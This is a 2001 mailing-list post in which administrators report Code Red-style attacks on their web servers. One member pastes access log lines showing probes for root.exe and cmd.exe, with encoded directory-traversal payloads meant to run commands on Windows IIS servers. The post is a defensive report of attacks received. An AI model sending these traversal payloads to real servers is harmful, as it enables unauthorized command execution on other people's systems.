[ale] CodeRed attacks, here we go again.

[Terry Lee Tucker]

I'm getting hit with the following:

208.5.209.246 - - [18/Sep/2001:10:30:26 -0400] "GET
/scripts/root.exe?/c+dir HTTP/1.0" 404 283
208.5.209.246 - - [18/Sep/2001:10:30:27 -0400] "GET
/MSADC/root.exe?/c+dir HTTP/1.0" 404 281
208.5.209.246 - - [18/Sep/2001:10:30:28 -0400] "GET
/c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 291
208.5.209.246 - - [18/Sep/2001:10:30:30 -0400] "GET
/d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 291
208.5.209.246 - - [18/Sep/2001:10:30:31 -0400] "GET
/scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 305
208.5.209.246 - - [18/Sep/2001:10:30:36 -0400] "GET
/_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 322
208.5.209.246 - - [18/Sep/2001:10:30:37 -0400] "GET
/_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 322
208.5.209.246 - - [18/Sep/2001:10:30:39 -0400] "GET
/msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0"
404 338
208.5.209.246 - - [18/Sep/2001:10:30:40 -0400] "GET
/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 304
208.5.209.246 - - [18/Sep/2001:10:30:41 -0400] "GET
/scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 304

Obviously, someone is trying to get something from a windoze box.

SAngell at nan.net wrote:
> 
> I am being flooded by Code Red attacks originating from network 205.152.x.x all
> by the variant which is attempting to drop the trojan backdoor on to my servers.
> either root.exe or explorer.exe. This attack is worse that any I have previously
> seen with hundreds of attempts in the last 5 minutes.
> 
> Anyone else witnessing these?
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